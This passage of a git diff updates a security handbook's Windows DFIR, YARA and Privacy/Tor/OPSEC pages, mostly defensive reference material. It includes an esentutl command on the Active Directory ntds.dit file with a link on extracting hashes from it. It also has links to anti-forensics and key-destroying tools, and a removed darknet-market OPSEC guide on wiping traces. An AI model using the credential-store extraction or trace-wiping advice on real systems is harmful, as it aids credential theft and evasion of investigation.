-FilterHashtable @{ LogName = 'Microsoft-Windows-CodeIn $CIEvents ``` -### Obtain DLL information [ListDLLs](https://docs.microsoft.com/en-us/sysinternals/downloads/listdlls) +### Obtain DLL information [ListDLLs](https://learn.microsoft.com/en-us/sysinternals/downloads/listdlls) ``` listdlls [-r] [-v | -u] [processname|pid] @@ -807,7 +828,7 @@ foreach ($domains in Get-DnsClientCache){Resolve-DnsName $domains.Entry -Type "T ### Active Directory Investigation -Note: Live information can be found using [DSQuery](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952\(v=ws.11\)) or [Netdom](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772217\(v=ws.11\)). +Note: Live information can be found using [DSQuery](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952\(v=ws.11\)) or [Netdom](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772217\(v=ws.11\)). ``` dsquery computer @@ -910,3 +931,18 @@ esentutl /p /o C:\Audit\ntds.dit Analyzing this file offline can be done with tactics such as: * [Ropnop - Extract Hashes and Domain Info](https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/) + +## Legacy / Deprecated Commands + +### Scheduled Tasks (Legacy) + +``` +at +``` + +### Firewall (Legacy) + +``` +netsh firewall show config +netsh firewall show state +``` diff --git a/dfir-digital-forensics-and-incident-response/yara.md b/dfir-digital-forensics-and-incident-response/yara.md index 5a723e7..849bbad 100644 --- a/dfir-digital-forensics-and-incident-response/yara.md +++ b/dfir-digital-forensics-and-incident-response/yara.md @@ -1,64 +1,101 @@ --- -description: Virustotal's file scanning engine and ruleset +description: Pattern-matching rules for malware identification and signature hunting --- # YARA -### What is Yara? +### What is YARA? -YARA and its rules are a way of identifying malware (or other files) by creating rules that look for certain characteristics. It was developed with the idea to describe patterns that identify particular strains or entire families of malware. Each rule has to start with the word rule, followed by the name or identifier. The identifier can contain any alphanumeric character and the underscore character, but the first character is not allowed to be a digit.\ -\ -Rules are composed of several sections.The condition section is the only one that is required. This section specifies when the rule result is true for the object (file) that is under investigation. It contains a Boolean expression that determines the result. Conditions are by design Boolean expressions and can contain all the usual logical and relational operators. You can also include another rule as part of your conditions. To give the condition section a meaning you will also need a strings section. The strings sections is where you can define the strings that will be looked for in the file. +YARA is a tool aimed at (but not limited to) helping malware researchers identify and classify malware samples. It has been described as "grep for malware." YARA allows you to create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. -There are several types of strings you can look for:\ - \- Hexadecimal, in combination with wild-cards, jumps, and alternatives.\ - \- Text strings, with modifiers: nocase, fullword, wide, and ascii.\ - \- Regular expressions, with the same modifiers as text strings. +A rule is the fundamental unit of YARA. Each rule resembles a struct in C and starts with the keyword `rule` followed by an identifier. -Metadata can be added to help identify the files that were picked up by a certain rule. The metadata identifiers are always followed by an equal sign and the set value. The assigned values can be strings, integers, or a Boolean value. Note that identifier/value pairs defined in the metadata section can’t be used in the condition section, their only purpose is to store additional information about the rule.\ -\ -Data to look for:\ -• meaningful domain names or IP addresses that the malware may connect out to\ -• filenames that the malicious file references\ -• any unusual API calls that the files reference\ -• various version numbers inside the malware\ -• any registry value that the malware references. +**Structure of a Rule:** +1. **Meta (Optional)**: Provides details about the rule (author, description, date, etc.) but does not affect the matching logic. +2. **Strings (Optional)**: Defines the patterns (text, hex, or regex) to look for in the file. +3. **Condition (Required)**: A Boolean expression that determines if the rule matches based on the found strings. -### Yara Rule Generators +```yara +rule Example_Malware_Rule { + meta: + description = "Detects example malicious pattern" + author = "Analyst Name" + date = "2023-01-01" -* [halogen](https://github.com/target/halogen) -* [yarGen](https://github.com/Neo23x0/yarGen) -* [YaraGenerator](https://github.com/Xen0ph0n/YaraGenerator) -* [yarasilly2](https://github.com/YARA-Silly-Silly/yarasilly2) + strings: + $hex_string = { E2 34 A1 ?? C8 } + $text_string = "suspicious_function" nocase + $regex_string = /md5: [0-9a-fA-F]{32}/ -Yara Rule Testing Tools + condition: + $hex_string and ($text_string or $regex_string) +} +``` -* [arya](https://github.com/claroty/arya) - Arya is a unique tool that produces pseudo-malicious files meant to trigger YARA rules. You can think of it like a reverse YARA. +### Rule Components + +**Strings Section** +* **Hexadecimal strings**: Defined in curly braces `{}`. They support wildcards (`?`), jumps (`[n-m]`), and alternatives (`( aa | bb )`). +* **Text strings**: Defined in double quotes `""`. Modifiers include: + * `nocase`: Case-insensitive matching. + * `fullword`: Matches only if the string is delimited by non-alphanumeric characters. + * `wide`: Searches for the string encoded in 2 bytes per character (standard in Windows Unicode). + * `ascii`: Searches for the string encoded in 1 byte per character (default). +* **Regular expressions**: Defined in forward slashes `/.../`. + +**Condition Section** +This section contains the logic. It uses Boolean operators (`and`, `or`, `not`), relational operators (`>`, `<`, `==`), and arithmetic operators. It can also check for file size (`filesize`), entry point (`entrypoint`), and string counts (`#string_id`). + +**Metadata Section** +Metadata identifiers are followed by an equal sign and a value (string, integer, or boolean). These are strictly for descriptive purposes. + +### Data to Target +When writing rules, look for unique artifacts that are unlikely to change or distinct enough to avoid false positives: +* Meaningful **domain names** or **IP addresses** (C2 infrastructure). +* **CreateMutex** or **CreateFile** names unique to the malware family. +* **PDB paths** (debug information) left in the binary. +* Unusual **User-Agent** strings. +* Specific **registry keys** created or queried. +* **Typos** in error messages or strings. +* **Cryptographic constants** or custom alphabets. + +### YARA Rule Generators & Tools + +**Active Tools** +* [yarGen](https://github.com/Neo23x0/yarGen) - A generator for YARA rules. The most popular tool for automatic rule generation. +* [halogen](https://github.com/target/halogen) - A tool for automating YARA rule generation for image files (specifically embedded JPGs). +* [Loki](https://github.com/Neo23x0/Loki) - A free and simple IOC scanner (using YARA) to scan your endpoints. +* [YARAify](https://yaraify.abuse.ch/) - A platform by abuse.ch to scan files against a massive public repository of YARA rules. +* [YaraHunter](https://github.com/deepfence/YaraHunter) - Scans container images and filesystems for malware indicators. + +**Testing Tools** +* [arya](https://github.com/claroty/arya) - Generates pseudo-malicious files to trigger specific YARA rules (Reverse YARA). +* [CyberChef](https://gchq.github.io/CyberChef/) - Useful for testing regex logic or extracting strings before writing rules. + +### Legacy / Deprecated Tools +*These tools may no longer be actively maintained but are historically significant.* +* [YaraGenerator](https://github.com/Xen0ph0n/YaraGenerator) - An older automatic rule generator. +* [yarasilly2](https://github.com/YARA-Silly-Silly/yarasilly2) - An older rule generator. ### Resources -* [https://github.com/InQuest/awesome-yara](https://github.com/InQuest/awesome-yara) -* [https://yara.readthedocs.io/en/latest/](https://yara.readthedocs.io/en/latest/) -* [http://yara.readthedocs.io/en/v3.6.3/writingrules.html#id2](http://yara.readthedocs.io/en/v3.6.3/writingrules.html#id2) -* [https://github.com/EFForg/yaya](https://github.com/EFForg/yaya) - Automatically curate open source yara rules and run scans -* [https://yaraify.abuse.ch/](https://yaraify.abuse.ch/) - YARAify is a project from abuse.ch that allows anyone to scan suspicious files such as malware samples or process dumps against a large repository of YARA rules. With YARAhub, the platform also provides a structured way for sharing YARA rules with the community. -* [YaraHunter](https://github.com/deepfence/YaraHunter) - Deepfence YaraHunter scans container images, running Docker containers, and filesystems to find indicators of malware. It uses a [YARA ruleset](https://github.com/deepfence/yara-rules) to identify resources that match known malware signatures, and may indicate that the container or filesystem has been compromised. -* Writing Yara Rules - * [https://resources.infosecinstitute.com/yara-simple-effective-way-dissecting-malware/](https://resources.infosecinstitute.com/yara-simple-effective-way-dissecting-malware/) - * [https://securityintelligence.com/signature-based-detection-with-yara/](https://securityintelligence.com/signature-based-detection-with-yara/) - * [https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/) - * [https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/) - * [https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - * [https://www.intezer.com/blog/threat-hunting/yara-rules-minimize-false-positives/](https://www.intezer.com/blog/threat-hunting/yara-rules-minimize-false-positives/) -* Yara Training - * [https://tryhackme.com/room/yara](https://tryhackme.com/room/yara) -* Yara rule collections - * [https://github.com/elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) - * [https://yaraify.abuse.ch/yarahub/yaraify-rules.zip](https://yaraify.abuse.ch/yarahub/yaraify-rules.zip) - * [https://www.nextron-systems.com/valhalla/](https://www.nextron-systems.com/valhalla/) - Huge YARA rule Repo - * [https://github.com/deepfence/yara-rules](https://github.com/deepfence/yara-rules) - * [https://github.com/shellcromancer/DaysOfYARA-2023](https://github.com/shellcromancer/DaysOfYARA-2023) -* _Operator Handbook: YARA - pg. 428_ +* [Awesome YARA](https://github.com/InQuest/awesome-yara) - A curated list of YARA resources. +* [YARA Official Documentation](https://yara.readthedocs.io/en/latest/) + * [Writing Rules Guide](https://yara.readthedocs.io/en/latest/writingrules.html) +* [Yaya](https://github.com/EFForg/yaya) - Yet Another Yara Automaton (EFF). +* [Valhalla](https://www.nextron-systems.com/valhalla/) - A massive database of curated YARA rules by Nextron Systems. + +**Tutorials & Guides** +* [YARA - A Simple and Effective Way of Dissecting Malware](https://resources.infosecinstitute.com/yara-simple-effective-way-dissecting-malware/) +* [How to Write Simple but Sound YARA Rules (Part 1)](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/) +* [How to Write Simple but Sound YARA Rules (Part 2)](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/) +* [How to Write Simple but Sound YARA Rules (Part 3)](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) +* [Minimize False Positives in YARA](https://www.intezer.com/blog/threat-hunting/yara-rules-minimize-false-positives/) + +**Rule Collections** +* [Elastic Protection Artifacts](https://github.com/elastic/protections-artifacts) +* [Deepfence YARA Rules](https://github.com/deepfence/yara-rules) +* [DaysOfYARA](https://github.com/shellcromancer/DaysOfYARA-2023) ![](<../.gitbook/assets/image (16).png>) diff --git a/grey-privacy-tor-opsec/README.md b/grey-privacy-tor-opsec/README.md index 24c7e3d..1f3dca7 100644 --- a/grey-privacy-tor-opsec/README.md +++ b/grey-privacy-tor-opsec/README.md @@ -1,64 +1,75 @@ -# Grey - Privacy/TOR/OPSEC +--- +description: Privacy, Tor, PGP, and personal OPSEC references. +--- -## Privacy Guides and How-To +# Grey - Privacy/Tor/OPSEC + +Grey is for personal privacy, anonymity, secure communication, Tor, PGP, and operational safety for legitimate research. Dark-web search and OSINT sources belong in Cyber Intelligence; offensive routing, evasion, and command-history hiding belong in Red Offensive. + +## Start Here {% embed url="https://www.amazon.com/Extreme-Privacy-Takes-Disappear-America/dp/1093757620" %} -Read this first! +Read this first. {% endembed %} -
- -General Guides and Reference - -* [Hitch Hiker's Guide to Online Anonymity ](https://anonymousplanet.github.io/thgtoa/guide.html) -* [Infosec\_Reference/AnonOpSecPrivacy](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) -* [personal-security-checklist](https://github.com/Lissy93/personal-security-checklist) -* [https://prism-break.org/en/](https://prism-break.org/en/) - A handy way to opt out of global data collection schemes -* [https://www.safetydetectives.com/best-vpns/](https://www.safetydetectives.com/best-vpns/) - The VPN breakdown -* [Electronic Frontier Foundation. Keep the internet free.](https://www.eff.org/) -* [EFF's Survielance Self Defense guide](https://ssd.eff.org/) -* [CrashOverride's DIY Secuirty Guides](https://www.crashoverridenetwork.com/resources.html) -* [Security-in-a-box Security Guides](https://securityinabox.org/en/) -* [https://exposingtheinvisible.org/resources/watching-out-yourself/](https://exposingtheinvisible.org/resources/watching-out-yourself/) - Personal security guide for investigators -* [AmIunique](https://amiunique.org/) - Learn how identifiable you are on the Internet -* [Surveillance Self-Defense](https://ssd.eff.org/) - Tips, Tools and How-tos for Safer Online Communications. +{% content-ref url="tor.md" %} +[tor.md](tor.md) +{% endcontent-ref %} -
+{% content-ref url="pgp-guide.md" %} +[pgp-guide.md](pgp-guide.md) +{% endcontent-ref %} {% content-ref url="jolly-rogers-security-for-beginners.md" %} [jolly-rogers-security-for-beginners.md](jolly-rogers-security-for-beginners.md) {% endcontent-ref %} -
+The Jolly Roger page is preserved as a historical archive and should not be modernized in place. -Browser Security/Check-your-self +## Privacy Guides and Reference -Due to the invasive tracking of almost everything by google, Chrome and most Chromium based browsers are to be avoided. Firefox is the defacto choice for secure web browser. +
-[https://www.mozilla.org/en-US/firefox/](https://www.mozilla.org/en-US/firefox/) +General Guides -* Firefox Secure Install and Setup - Extreme Privacy: What it takes to disappear 5th edition - pg. 39 +* [Hitchhiker's Guide to Online Anonymity](https://anonymousplanet.github.io/thgtoa/guide.html) +* [Infosec Reference: Anon/OPSEC/Privacy](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) +* [Personal Security Checklist](https://github.com/Lissy93/personal-security-checklist) +* [Prism Break](https://prism-break.org/en/) - Alternatives focused on reducing data collection. +* [Privacy Guides](https://www.privacyguides.org/) - Successor community to the old privacytools.io project. +* [Electronic Frontier Foundation](https://www.eff.org/) +* [EFF Surveillance Self-Defense](https://ssd.eff.org/) +* [Crash Override DIY Security Guides](https://www.crashoverridenetwork.com/resources.html) +* [Security-in-a-Box](https://securityinabox.org/en/) +* [Exposing the Invisible: Watching Out for Yourself](https://exposingtheinvisible.org/resources/watching-out-yourself/) - Personal security guide for investigators. +* [SafetyDetectives VPN list](https://www.safetydetectives.com/best-vpns/) - Commercial review list; verify recommendations independently before trusting them. -**Search Engines** +
-* [https://duckduckgo.com/](https://duckduckgo.com/) - Private and Secure but not the best search results - * [https://docs.searxng.org/](https://docs.searxng.org/) - +## Browser Privacy and Leak Checks -Misc Resources +
-* [tps://coveryourtracks.eff.org/](https://coveryourtracks.eff.org/) - EFF sponsored Browser tracking checker -* [**Panopticlick 3.0**](https://panopticlick.eff.org/) - is your browser safe against tracking? -* [**Privacy Analyzer**](https://privacy.net/analyzer/) - see what data is exposed from your browser. -* [Browser Mirror](https://centralops.net/asp/co/BrowserMirror.vbs.asp) - See what your browser says about you -* [Webkay](https://webkay.robinlinus.com/) - A demonstration of all the data your browser knows about you. All this data can be accessed by any website without asking you. -* [Logger](https://inteltechniques.com/logger/) - IntelTechniques custom tool for seeing what data can be tracked in your browser. -* [https://tenta.com/test/](https://tenta.com/test/) - Site for checking DNS Leakage and other browser security issues. -* [https://www.grc.com/shieldsup](https://www.grc.com/shieldsup) - Great tool for profiling your internet connection and router for exposure, potential vulnerabilities, and open ports. -* [https://ipleak.net](https://ipleak.net) - See what information you are giving away while browsing the internet. IP addresses, DNS leaks, WebRTC leaks, fingerprints and user-agent. -* [https://browserleaks.com](https://browserleaks.com) - Here you will find a gallery of security testing tools that will show you what kind of personal data can be leaked, and how to protect yourself from it. -* [https://shutuptrackers.com/browser/tweaks.php](https://shutuptrackers.com/browser/tweaks.php) - Firefox Privacy Settings -* [What every Browser knows about you](https://webkay.robinlinus.com) — This site not only shows what information your browser provides to third-party sites, but also explains how it can be dangerous and suggests what extensions will help to ensure your anonymity. -* [https://socradar.io/labs/vpnradar/](https://socradar.io/labs/vpnradar/) - VPN privacy checker +Browser Checks + +Use Tor Browser, Firefox, Mullvad Browser, or another privacy-focused browser with a configuration that matches your threat model. Chrome and other Chromium browsers can be hardened, but their defaults are not privacy-first. + +* [Firefox](https://www.mozilla.org/en-US/firefox/) +* Firefox secure install and setup - _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 39_ +* [DuckDuckGo](https://duckduckgo.com/) - Private search engine. +* [SearXNG](https://docs.searxng.org/) - Self-hostable metasearch engine. +* [Cover Your Tracks](https://coveryourtracks.eff.org/) - EFF browser tracking and fingerprinting test. Replaces the older Panopticlick branding. +* [AmIUnique](https://amiunique.org/) - Browser fingerprint uniqueness check. +* [Privacy Analyzer](https://privacy.net/analyzer/) - Browser data exposure check. +* [Browser Mirror](https://centralops.net/asp/co/BrowserMirror.vbs.asp) - Shows browser headers and exposed client data. +* [Webkay](https://webkay.robinlinus.com/) - Demonstrates what browser APIs expose. +* [IntelTechniques Logger](https://inteltechniques.com/logger/) - Shows trackable browser data. +* [GRC ShieldsUP](https://www.grc.com/shieldsup) - Internet connection and router exposure check. +* [ipleak.net](https://ipleak.net/) - IP, DNS, WebRTC, and user-agent leak checks. +* [BrowserLeaks](https://browserleaks.com/) - Browser security and privacy testing tools. +* [SOCRadar VPNRadar](https://socradar.io/labs/vpnradar/) - VPN privacy checker. +* [Tenta browser test](https://tenta.com/test/) - Historical leak-check tool; verify current availability before relying on it. +* [Shut Up Trackers browser tweaks](https://shutuptrackers.com/browser/tweaks.php) - Older Firefox tweak list. Prefer current Firefox/Mullvad/arkenfox guidance for maintained hardening.
@@ -68,82 +79,60 @@ Misc Resources General Tools -* [Awesome Lists Collection: Anti-Censorship](https://github.com/danoctavian/awesome-anti-censorship) -* [Awesome Lists Collection: Anti-Forensics](https://github.com/shadawck/awesome-anti-forensic) -* Identity Scrubbers - * [https://onerep.com/](https://onerep.com/) -* [PrivacyTools - Encryption Against Global Mass Surveillance](https://privacytools.io/) - -- [SnowHaze Browser](https://www.snowhaze.com/en/browser.html) - SnowHaze is a browser with your privacy and security in mind. SnowHaze is open source and offers you the most extensive tools on iOS to reclaim the control over your personal data and move freely on the internet. -- [MySudo](https://mysudo.com/) - Handy tool for creating entire personal profiles with numbers and emails you can use in place of your personal information. -- [https://privacy.com/](https://privacy.com/) - A wonderful platform for placing anonymous purchases. Allows you to create a digital preloaded credit card so your real number isnt stored by amazon or google. -- [7-Day Free Phone Number Trial - Get Temporary Phone Numbers | Burner](https://www.burnerapp.com/) -- [Syncthing](https://syncthing.net/) - Open Source, secure file synchronization program. -- [Tails - Home](https://tails.boum.org/) - Portable linux distribution focused on extreme privacy and security. -- [Anonymouse.org](http://anonymouse.org/anonwww.html) - Proxied "anonymous" web searching tool. -- [Privoxy - Home Page](https://www.privoxy.org/) - Privoxy is a non-caching web proxy with advanced filtering capabilities for enhancing privacy, modifying web page data and HTTP headers, controlling access, and removing ads and other obnoxious Internet junk. -- [Kali Anonsurf ](https://github.com/Und3rf10w/kali-anonsurf)- ParrotSec's anonsurf and stealth, ported to work with Kali Linux. - * [ParrotSec/anonsurf](https://github.com/ParrotSec/anonsurf) - Anonsurf routes all your traffic through Tor, and it also lets you start i2p services and clear any traces left on the user disk. Anonsurf also kills away all dangerous applications by virtue of the Pandora bomb, so you do not need to worry about having a Tor browser and other scripts running to hide your system. -- [cryptsetup-nuke-password](https://www.kali.org/tools/cryptsetup-nuke-password/) - Installing this package lets you configure a special “nuke password” that can be used to destroy the encryption keys required to unlock the encrypted partitions. This password can be entered in the usual early-boot prompt asking the passphrase to unlock the encrypted partition(s). -- [How to set up ProxyChains - Change IP](https://youtu.be/FtFTh-KVjsA) -- [How to set up ProxyChains - Stay Anonymous](./#linux-ssh-tunneling) -- [VPN + ProxyChains = Maximum Anonymity](https://youtu.be/TMHGcnuNoyw) -- [Changing/Masking your DNS Traffic](https://youtu.be/SVW1-4ft8d0) +* [Awesome Anti-Censorship](https://github.com/danoctavian/awesome-anti-censorship) +* [Awesome Anti-Forensics](https://github.com/shadawck/awesome-anti-forensic) - Awesome list; duplicate allowed by the guide's Awesome List exception. +* [OneRep](https://onerep.com/) - Data broker removal service. +* [SnowHaze Browser](https://www.snowhaze.com/en/browser.html) - iOS privacy browser. +* [MySudo](https://mysudo.com/) - Creates alternate phone/email identities. +* [Privacy.com](https://privacy.com/) - Virtual payment cards. +* [Burner](https://www.burnerapp.com/) - Temporary phone numbers. +* [Syncthing](https://syncthing.net/) - Open source file synchronization. +* [Tails](https://tails.net/) - Portable privacy-focused live OS. +* [Anonymouse.org](http://anonymouse.org/anonwww.html) - Legacy anonymous proxy; not recommended for serious privacy. +* [Privoxy](https://www.privoxy.org/) - Filtering web proxy. +* [Kali Anonsurf](https://github.com/Und3rf10w/kali-anonsurf) - Kali port of ParrotSec Anonsurf. + * [ParrotSec Anonsurf](https://github.com/ParrotSec/anonsurf) +* [cryptsetup-nuke-password](https://www.kali.org/tools/cryptsetup-nuke-password/) - Kali package that can destroy encrypted partition keys with a special passphrase.
-Secure Comms - -**Primary Tools** - -These are the go-to tools before others for combination of security and features. - -* [https://www.signal.org/](https://www.signal.org/) - an encrypted communications app. - * Secure Setup - Extreme Privacy: What it takes to disappear 5th edition - pg. 130 - * [https://molly.im/](https://molly.im/) - A Signal fork that will allow you to have and use a second account. -* [https://wire.com/en/](https://wire.com/en/) - Secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end +Secure Communications -**Alternative tooling** +Primary tools: -* [https://threema.ch/en](https://threema.ch/en) - Secure, open-source, premium secure chat. -* [https://matrix.org/](https://matrix.org/) - An open network for secure, decentralized, real-time communication. -* [https://getsession.org/](https://getsession.org/) - Session is an end-to-end encrypted messenger that minimises sensitive metadata, designed and built for people who want absolute privacy and freedom from any form of surveillance. +* [Signal](https://www.signal.org/) - Encrypted communications app. + * Secure setup - _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 130_ + * [Molly](https://molly.im/) - Hardened Signal fork for Android. +* [Wire](https://wire.com/en/) - E2EE collaboration and messaging platform. Verify the current plan and identity model before selecting it for sensitive use. -**Depreciated** +Alternatives: -* [TorChat](https://github.com/prof7bit/TorChat) - Decentralized anaonymous IM that uses Tor networks. Creates a new randomly generated .onion address for each client launch - * [http://kpvz7ki2v5agwt35.onion/wiki/index.php/Hacking\_TorChat](http://kpvz7ki2v5agwt35.onion/wiki/index.php/Hacking_TorChat) +* [Threema](https://threema.ch/en) +* [Matrix](https://matrix.org/) +* [Session](https://getsession.org/) -DO NOT USER +Deprecated or high-risk: -* Wickr -* Whatsapp -* Telegram - - - -
- -
- -Secure File Transfer - -* [https://proton.me/drive](https://proton.me/drive) - The best option out there. -* [https://tresorit.com/](https://tresorit.com/) - Free version allows up to 5gb file upload and share. Share link expires after 7 days and the file is deleted. +* [TorChat](https://github.com/prof7bit/TorChat) - Abandoned Tor-based messenger. Keep only as historical context. +* Wickr Me - Discontinued for consumers. +* WhatsApp - Strong message encryption but high metadata and account-linkage concerns. +* Telegram - Standard chats are not end-to-end encrypted; secret chats have different behavior and limitations.
-Secure Webmail +Secure File Transfer and Webmail -* [**CounterMail**](https://countermail.com/) - online email service, designed to provide maximum security and privacy. -* [**Mail2Tor**](http://mail2tor.com/) - is a Tor Hidden Service that allows anyone to send and receive emails anonymously. -* [**Tutanota**](https://tutanota.com/) - is the world's most secure email service and amazingly easy to use. -* [**Protonmail**](https://protonmail.com/) - is the world's largest secure email service, developed by CERN and MIT scientists. -* [**Startmail**](https://www.startmail.com/en/) - private & encrypted email made easy. +* [Proton Drive](https://proton.me/drive) +* [Tresorit](https://tresorit.com/) +* [CounterMail](https://countermail.com/) +* [Mail2Tor](http://mail2tor.com/) - Historically used anonymous email service; verify current trust and availability before use. +* [Tutanota/Tuta](https://tuta.com/) +* [Proton Mail](https://proton.me/mail) +* [StartMail](https://www.startmail.com/en/)
@@ -151,305 +140,97 @@ DO NOT USER Altnets -* [https://www.whonix.org/wiki/ZeroNet](https://www.whonix.org/wiki/ZeroNet) - Excellent guide on how to securely setup ZeroNet. Also provides a decent list of common ZeroNet sites. -* [https://nodehist.fidonet.org.ua](https://nodehist.fidonet.org.ua) - A large list of FidoNet nodes. Searchable by node address or sysop name. -* [https://nzbfriends.com/](https://nzbfriends.com/) - A search engine for Usenet. - - +* [Whonix ZeroNet guide](https://www.whonix.org/wiki/ZeroNet) - ZeroNet is largely historical; verify project activity before using it. +* [FidoNet node history](https://nodehist.fidonet.org.ua) - Historical/alternative network reference. +* [NZBFriends](https://nzbfriends.com/) - Usenet search engine. ## Personal Network Security -![](https://jasonamorrow.com/wp-content/uploads/2015/12/Improve_Home_Network_Security.png) - -## OPSEC - -* Inteltechniaues' Opsec Prep Checklist - Start Here: [https://inteltechniques.com/EP/tasks.pdf](https://inteltechniques.com/EP/tasks.pdf) -* [https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint](https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint) - -
- -Dread OpSec Guide +The old page used a hotlinked 2015 image for this section. Prefer current router and home-network guidance: -### Dread OPSEC Guide +* Update router firmware and replace unsupported hardware. +* Use WPA2/WPA3 with a strong passphrase. +* Disable WPS. +* Separate guest, IoT, and trusted devices where possible. +* Review UPnP, port forwards, DNS settings, and admin-interface exposure. +* Run leak checks from the Browser Privacy section after VPN/Tor changes. -Security Settings: Click on the shield icon at the top of the Tor browser and click "Advanced Security Settings" and set the value to "Safest". Note For Tails Users: Tails will reset this value on system restarts, so make sure you do this everytime you launch Tor on Tails! - -Privacy Checking: To check that your I.P. address is a Tor exit node, and that your security settings are correct, go to [https://whatsmybrowser.org/](https://whatsmybrowser.org/) and ensure the following: - --Javascript is disabled! -No browser details can be detected! - -Plugins: Additional addons/plugins should not be installed. Plugins not supported by the TorProject run the risk of bypassing the Tor network and accessing the net directly, which runs the risk of leaking your real I.P. address. It should be a clear indication to anyone why this is an issue, but people sometimes disregard this risk and lose a large part of their OpSec over this mistake. - -Tails: Tails is a live operating system that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity and helps you to: use the internet anonymously and circumvent censorship; route all connections to the internet through the Tor network; leave no trace on the computer you are using unless you explicitly ask it to; encrypts your files, emails, and instant messaging using state-of-the-art cryptography. - -Official Site: [https://tails.boum.org/](https://tails.boum.org/) Tails For The Darknet Markets: [http://archivecaslytosk.onion/fyYz5](http://archivecaslytosk.onion/fyYz5) - -Whonix: An alternative to Tails and also an open source project. Whonix is an operating system focused on anonymity, privacy, and security. It's based on the Tor anonymity network, Debian GNU/Linux, and security by isolation. DNS leaks are impossible and not even malware with root privileges can find out the user's real I.P. address. - -Official Site: [https://www.whonix.org/](https://www.whonix.org/) Whonix For The Darknet Markets: [http://archivecaslytosk.onion/COfTH](http://archivecaslytosk.onion/COfTH) - -Shredding History / Footprints: This section only applies to users who use the Tor browser while not using Tails or Whonix. - -The recommended tool for cleaning footprints, history, cache, etc. from your drive(s) is using a program known as CCleaner. When using the program it is recommended to go to 'Options' > 'Settings' and then selecting "Complex Overwrite" (7 passes) and "Secure File Deletion". Make sure all the boxes are ticked when cleaning including the 'Windows' and 'Application' tabs. - -This is normally recommended before the connection to Tor, and after you've left Tor, to wipe all cookies etc. Remember that although this may clear a good deal of the tracks left behind on your PC, wiping your drive(s) with random data and zeros from a live operating system is the only way to permanently clean your tracks. It is also good to note that there is no reliable way to wipe solid state drives so using hard drives is the preferred hardware. - -Cookies - How The NSA Is Using Them To Track Tor Users: Let's suppose that there is an online shopping website, owned, or controlled by the NSA. When a normal user will open that website from his/her real I.P. address, the website creates a cookie on the user's browser and stores the real I.P. address and other personal information about the user. When the same user will again visit the same NSA owned website, enabling Tor this time on the same browser - the website will read the last stored cookies from the browser, which includes the user's real I.P. address, and other personal Information. Furthermore, the website just needs to maintain a database of real I.P. addresses against the Tor Proxy enabled fake I.P. addresses to track anonymous users. The more popular the site is, the more users can be tracked easily. Documents show that the NSA is using online advertisements, i.e. Google Ads to make their tracking sites popular on the internet. - -How You Can Avoid Cookie Tracking? By using the Tor browser exclusively for darknet activities. Browsers can't read cookies created by other browsers so using your standard browser for clearnet use can save you from this issue. However, you should always clear the cookies (with CCleaner or alike) after you’re done so any stored information, such as login information will not be stored on the computer's drive. If you're doing something very interesting, you should use Tor on an amnesic operating system, such as Tails, so that any data is dumped when the machine is closed. - -Closing: Hopefully you found this Tor Browser Security Guide a helpful source of information on the various steps needed to maintain your security and privacy. Don't take your freedom, nor your livelihood, for granted. You never know what could happen so never let the odds be stacked against you! - -
- -
- -MacOS Opsec - -To set up your MacOS box, there will be many steps to follow. The best and most comprehensive list is in the book "Extreme Privacy: What it takes to disappear" by Michael Bazzell. - -Extreme Privacy: What it takes to disappear 5th edition - pg. 39 - -* [LittleSnitch](https://www.obdev.at/products/littlesnitch/index.html) - MacOS Open source firewall app -* [Tools by ObjectiveSee](https://objective-see.org/tools.html) - Great suite of open source MacOS tools to keep you safe and private. - * [Lulu](https://objective-see.org/products/lulu.html) - MacOS Open source firewall app. Great alternative. ObjectiveSee tools are great. - * [KnockKnock](https://objective-see.org/products/knockknock.html) - KnockKnock uncovers persistently installed software in order to generically reveal such malware. - -
- -
+## OPSEC -Linux Opsec +* [IntelTechniques OPSEC Prep Checklist](https://inteltechniques.com/EP/tasks.pdf) +* [Exposing the Invisible Kit](https://kit.exposingtheinvisible.org/en/) - Investigation and verification training. +* [A 5-minute guide to creating a covert account for internet investigations](https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint) - Maintained under Cyber Intelligence because it is an OSINT persona workflow. -To set up your Linux box, there will be many steps to follow. The best and most comprehensive list is in the book "Extreme Privacy: What it takes to disappear" by Michael Bazzell. +{% content-ref url="../cyber-intelligence/osint/" %} +[osint](../cyber-intelligence/osint/) +{% endcontent-ref %} -Extreme Privacy: What it takes to disappear 5th edition - pg. 21 +### Historical Dread OPSEC Guide -* [Pop!\_OS](https://pop.system76.com/) - Secure linux distro of choice. -* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Open source personal firewall +The old Dread OPSEC material mixed useful browser/Tails/Whonix advice with darknet-market framing, stale onion links, and outdated CCleaner-style footprint cleanup. Preserve it only 